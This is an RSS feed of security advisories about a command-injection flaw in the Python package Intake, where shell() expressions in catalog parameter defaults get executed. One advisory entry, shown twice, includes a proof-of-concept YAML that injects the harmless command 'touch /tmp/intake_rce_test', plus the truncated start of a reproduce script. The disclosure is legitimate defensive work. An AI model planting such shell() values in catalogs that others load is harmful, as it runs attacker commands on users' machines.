<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 15 Oct 2026 15:01:23 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-277202</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-277202</link>
      <description>EUVD-2026-277202</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-277202</guid>
    </item>
    <item>
      <title>fkie_cve-2026-33310</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-33310</link>
      <description>&lt;p&gt;Intake is a package for finding, investigating, loading and disseminating data. Prior to version 2.0.9, the shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(&amp;lt;command&amp;gt;), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. Version 2.0.9 mitigates the issue by making getshell False by default everywhere.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Intake is a package for finding, investigating, loading and disseminating data. Prior to version 2.0.9, the shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(&amp;lt;command&amp;gt;), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. Version 2.0.9 mitigates the issue by making getshell False by default everywhere.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-33310</guid>
    </item>
    <item>
      <title>GHSA-37g4-qqqv-7m99 — Intake has a Command Injection via shell() Expansion in Parameter Defaults</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-37g4-qqqv-7m99</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: intake&lt;/p&gt;
&lt;p&gt;### Summary
The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.
If a catalog contains a parameter default such as shell(&amp;lt;command&amp;gt;), the command may be executed when the catalog source is accessed.
This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.
This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.&lt;/p&gt;
&lt;p&gt;### Details
The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.&lt;/p&gt;
&lt;p&gt;During catalog loading and source access:&lt;/p&gt;
&lt;p&gt;Intake resolves parameter default values
The function responsible for expanding defaults processes the shell() syntax
The shell expression triggers a subprocess execution
Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.&lt;/p&gt;
&lt;p&gt;Affected logic appears to involve:
```
expand_defaults()
```
and related parameter parsing mechanisms.&lt;/p&gt;
&lt;p&gt;### PoC
exploit.yaml
```
metadata:
  version: 1
sources:
  rce_test:
    driver: csv
    description: &amp;#34;Testing shell expansion in parameters&amp;#34;
    args:
      urlpath: &amp;#34;{{ cmd_exec }}&amp;#34;
    parameters:
      cmd_exec:
        display_name: &amp;#34;Test Parameter&amp;#34;
        type: str
        default: &amp;#34;shell(touch /tmp/intake_rce_test)&amp;#34;
```&lt;/p&gt;
&lt;p&gt;reproduce.py
```
import intake
import os&lt;/p&gt;
&lt;p&gt;PROOF_FILE = &amp;#34;/tmp/intake_rce_test&amp;#34;&lt;/p&gt;
&lt;p&gt;if os.path.exists(PROOF_FILE):…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: intake&lt;/p&gt;
&lt;p&gt;### Summary
The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.
If a catalog contains a parameter default such as shell(&amp;lt;command&amp;gt;), the command may be executed when the catalog source is accessed.
This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.
This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.&lt;/p&gt;
&lt;p&gt;### Details
The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.&lt;/p&gt;
&lt;p&gt;During catalog loading and source access:&lt;/p&gt;
&lt;p&gt;Intake resolves parameter default values
The function responsible for expanding defaults processes the shell() syntax
The shell expression triggers a subprocess execution
Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.&lt;/p&gt;
&lt;p&gt;Affected logic appears to involve:
```
expand_defaults()
```
and related parameter parsing mechanisms.&lt;/p&gt;
&lt;p&gt;### PoC
exploit.yaml
```
metadata:
  version: 1
sources:
  rce_test:
    driver: csv
    description: &amp;#34;Testing shell expansion in parameters&amp;#34;
    args:
      urlpath: &amp;#34;{{ cmd_exec }}&amp;#34;
    parameters:
      cmd_exec:
        display_name: &amp;#34;Test Parameter&amp;#34;
        type: str
        default: &amp;#34;shell(touch /tmp/intake_rce_test)&amp;#34;
```&lt;/p&gt;
&lt;p&gt;reproduce.py
```
import intake
import os&lt;/p&gt;
&lt;p&gt;PROOF_FILE = &amp;#34;/tmp/intake_rce_test&amp;#34;&lt;/p&gt;
&lt;p&gt;if os.path.exists(PROOF_FILE):…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-37g4-qqqv-7m99</guid>
    </item>
    <item>
      <title>openSUSE-SU-2026:10426-1 — python311-intake-2.0.9-1.1 on GA media</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2026:10426-1</link>
      <description>&lt;p&gt;python311-intake-2.0.9-1.1 on GA media&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;python311-intake-2.0.9-1.1 on GA media&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2026:10426-1</guid>
    </item>
    <item>
      <title>PYSEC-2026-2185</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2185</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: intake&lt;/p&gt;
&lt;p&gt;Intake is a package for finding, investigating, loading and disseminating data. Prior to version 2.0.9, the shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(&amp;lt;command&amp;gt;), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. Version 2.0.9 mitigates the issue by making getshell False by default everywhere.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: intake&lt;/p&gt;
&lt;p&gt;Intake is a package for finding, investigating, loading and disseminating data. Prior to version 2.0.9, the shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process. If a catalog contains a parameter default such as shell(&amp;lt;command&amp;gt;), the command may be executed when the catalog source is accessed. This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system. Version 2.0.9 mitigates the issue by making getshell False by default everywhere.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2185</guid>
    </item>
  </channel>
</rss>
